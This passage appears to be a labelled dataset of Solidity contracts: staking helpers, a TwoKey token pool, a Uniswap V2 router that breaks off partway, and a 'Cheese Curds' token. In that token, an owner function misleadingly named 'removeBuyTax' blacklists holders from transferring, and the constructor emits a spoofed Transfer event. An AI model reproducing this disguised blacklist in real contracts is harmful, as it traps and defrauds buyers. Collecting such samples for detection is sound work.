require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
pragma solidity >=0.4.24;
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.16;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
|
True
|
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/*
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CURD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Cheese Curds";
string private constant _symbol = "CURDS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe4D354454e2f676DFa0f2cbCa0f607958565B649);
_feeAddrWallet2 = payable(0xe4D354454e2f676DFa0f2cbCa0f607958565B649);
_buyTax = 15;
_sellTax = 8;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xa9707Ae7e39E2aE6A5306b20aA0c32CE98357c82), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 14000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function removeBuyTax(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 10) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 10) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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pragma solidity ^0.4.13;
contract IERC20 {
function balanceOf(
address whom
)
external
view
returns (uint);
function transfer(
address _to,
uint256 _value
)
external
returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
function approve(
address _spender,
uint256 _value
)
public
returns (bool);
function decimals()
external
view
returns (uint);
function symbol()
external
view
returns (string);
function name()
external
view
returns (string);
function freezeTransfers()
external;
function unfreezeTransfers()
external;
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyTeamGrowthFundStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TokenPool is Upgradeable, ITwoKeySingletonUtils {
bool initialized = false;
string constant _twoKeyAdmin = "TwoKeyAdmin";
string constant _twoKeyEconomy = "TwoKeyEconomy";
modifier onlyTwoKeyAdmin {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(msg.sender == twoKeyAdmin);
_;
}
/**
* @notice Function to retrieve the balance of tokens on the contract
*/
function getContractBalance()
public
view
returns (uint)
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
return IERC20(twoKeyEconomy).balanceOf(address(this));
}
/**
* @notice Function to transfer tokens
*/
function transferTokens(
address receiver,
uint amount
)
internal
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
IERC20(twoKeyEconomy).transfer(receiver,amount);
}
}
contract TwoKeyTeamGrowthFund is TokenPool {
string constant _tokensReleaseDate = "tokensReleaseDate";
ITwoKeyTeamGrowthFundStorage public PROXY_STORAGE_CONTRACT;
function setInitialParams(
address _twoKeySingletonRegistry,
address _proxyStorageContract
)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyTeamGrowthFundStorage(_proxyStorageContract);
PROXY_STORAGE_CONTRACT.setUint(keccak256(_tokensReleaseDate), block.timestamp + (2 years));
initialized = true;
}
/**
* Modifier which will restrict transferring tokens if release date
* has not passed yet
*/
modifier onlyAfterReleaseDatePassed {
require(block.timestamp >= getTokensReleaseDate());
_;
}
/**
* @notice Function to get release date when this tokens can be transferred
* @return timestamp
*/
function getTokensReleaseDate()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_tokensReleaseDate));
}
/**
* @notice Function to transfer tokens from contract
* @param _beneficiary is the address where tokens are being transferred
* @param _amount is the WEI amount of tokens
*/
function transferTokensFromContract(
address _beneficiary,
uint _amount
)
public
onlyAfterReleaseDatePassed
onlyTwoKeyAdmin
{
super.transferTokens(_beneficiary, _amount);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-02-17
*/
pragma solidity =0.6.6;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract UniswapV2Router02 is IUniswapV2Router02 {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
